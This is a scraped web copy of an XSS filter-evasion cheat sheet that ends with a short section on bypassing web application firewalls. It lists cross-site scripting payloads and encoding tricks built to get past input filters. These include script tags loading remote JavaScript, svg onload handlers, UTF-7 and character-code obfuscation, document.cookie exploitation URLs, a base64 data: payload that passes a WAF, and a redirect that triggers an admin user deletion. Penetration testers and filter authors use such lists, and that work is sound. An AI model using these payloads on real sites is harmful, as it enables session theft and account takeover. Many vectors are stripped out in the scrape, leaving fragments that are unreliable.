close
XSS Filter Evasion Cheat Sheet
Cheatsheets-header.jpg
"/>alert("Xss:Priyanshu")
"/>
"
"><%2Fstyle<%2Fscript>
http://test.com
x">
q=" onclick="alert(/XSS/)
">
">
/default.aspx#">
/default.aspx#">
by ">
">.txt.jpg
">
">
">
id=abc">
">
Default.aspx/" onmouseout="confirm(1)’x="
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
>">'>
XSS Locator (short)
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for
'';!--"=&{()}
No Filter Evasion
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):
Filter bypass based polyglot
'">>"></plaintext\></|\><plaintext/onmouseover=prompt(1)> @gmail.com
'-->">
">
<img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'">
Image XSS using the JavaScript directive
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:
No quotes and no semicolon
Case insensitive XSS attack vector
HTML entities
The semicolons are required for this to work:
Grave accent obfuscation
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:
Malformed A tags
Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross ~ Verified on Chrome
xxs link
or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.
xxs link
Malformed IMG tags
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:
<IMG """>">
fromCharCode
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:
Default SRC tag to get past filters that check SRC domain
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross .
Edited by Abdullah Hussam(@Abdulahhusam).
Default SRC tag by leaving it empty
Default SRC tag by leaving it out entirely
On error alert
IMG onerror and javascript alert encode
Decimal HTML character references
all of the XSS examples that use a javascript: directive inside of an
Decimal HTML character references without trailing semicolons
This is often effective in XSS that attempts to look for "", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):
Hexadecimal HTML character references without trailing semicolons
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).
Embedded tab
Used to break up the cross site scripting attack:
Embedded Encoded tab
Use this one to break up XSS :
Embedded newline to break up XSS
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:
Embedded carriage return to break up XSS
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
Null breaks up JavaScript directive
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:
perl -e 'print "";' > out
Spaces and meta chars before the JavaScript in images for XSS
This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:
Non-alpha-non-digit XSS
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":
<SCRIPT/XSS SRC="http://xss.rocks/xss.js">
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.
<SCRIPT/SRC="http://xss.rocks/xss.js">
Extraneous open brackets
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:
<
No closing script tags
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the ">" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:
tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.
and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will readwhich ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:
\";alert('XSS');//
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:
End title tag
This is a simple XSS vector that closestags, which can encapsulate the malicious cross site scripting attack:
INPUT image
BODY image
IMG Dynsrc
IMG lowsrc
List-style-image
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:
alert("XSS")">
- XSS VBscript in an image Livescript (older versions of Netscape only) SVG object tag <svg/onload=alert('XSS')> ECMAScript 6 Set.constructor`alert\x28document.domain\x29``` BODY tag Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):
DIV background-image with unicoded XSS exploit
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:
DIV background-image plus extra characters
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
DIV expression
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
Downlevel-Hidden block
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:
BASE tag
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):
OBJECT tag
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:
Using an EMBED tag you can embed a Flash movie that contains XSS
Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always">
You can EMBED SVG which can contain your XSS vector
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.
Assuming you can only fit in a few characters and it filters against ".js"
you can rename your JavaScript file to an image as an XSS vector:
SSI (Server Side Includes)
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
PHP
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:
<? echo('<SCR)'; echo('IPT>alert("XSS")'); ?>
IMG Embedded commands
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:
IMG Embedded commands part II
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
Cookie manipulation
Admittedly this is pretty obscure but I have seen a few examples where
UTF-7 encoding
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
XSS using HTML quote encapsulation
This was tested in IE, your mileage may vary. For performing XSS on sites that allow "
For performing XSS on sites that allow "
Another XSS to evade the same filter, "/
Yet another XSS to evade the same filter, "/
And one last XSS attack to evade, "/
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:
PT SRC="httx://xss.rocks/xss.js">
URL string evasion
Assuming "http://www.google.com/" is pro grammatically disallowed:
IP verses hostname
XSS
URL encoding
XSS
Dword encoding
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):
XSS
Hex encoding
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
XSS
Octal encoding
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
XSS
Mixed encoding
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:
XSS
Protocol resolution bypass
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
XSS
Google "feeling lucky" part 1.
Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.
XSS
Google "feeling lucky" part 2.
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
XSS
Google "feeling lucky" part 3.
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):
XSS
Removing cnames
When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
XSS
Extra dot for absolute DNS:
XSS
JavaScript link location:
XSS
Content replace as attack vector
Assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java script:" was converted into "java script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):
XSS
Character escape sequences
All the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
Methods to Bypass WAF – Cross-Site Scripting
General issues
• Stored XSS
If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.
• Reflected XSS in Javascript
Example:
Exploitation: /?xss=500); alert(document.cookie);//
• DOM-based XSS
Example:
Exploitation: /?xss=document.cookie
XSS via request Redirection.
• Vulnerable code:
...
header('Location: '.$_GET['param']);
...
As well as:
...
header('Refresh: 0; URL='.$_GET['param']);
...
• This request will not pass through the WAF:
/?param=javascript:alert(document.cookie)
• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
WAF ByPass Strings for XSS.
文章標籤
全站熱搜
留言列表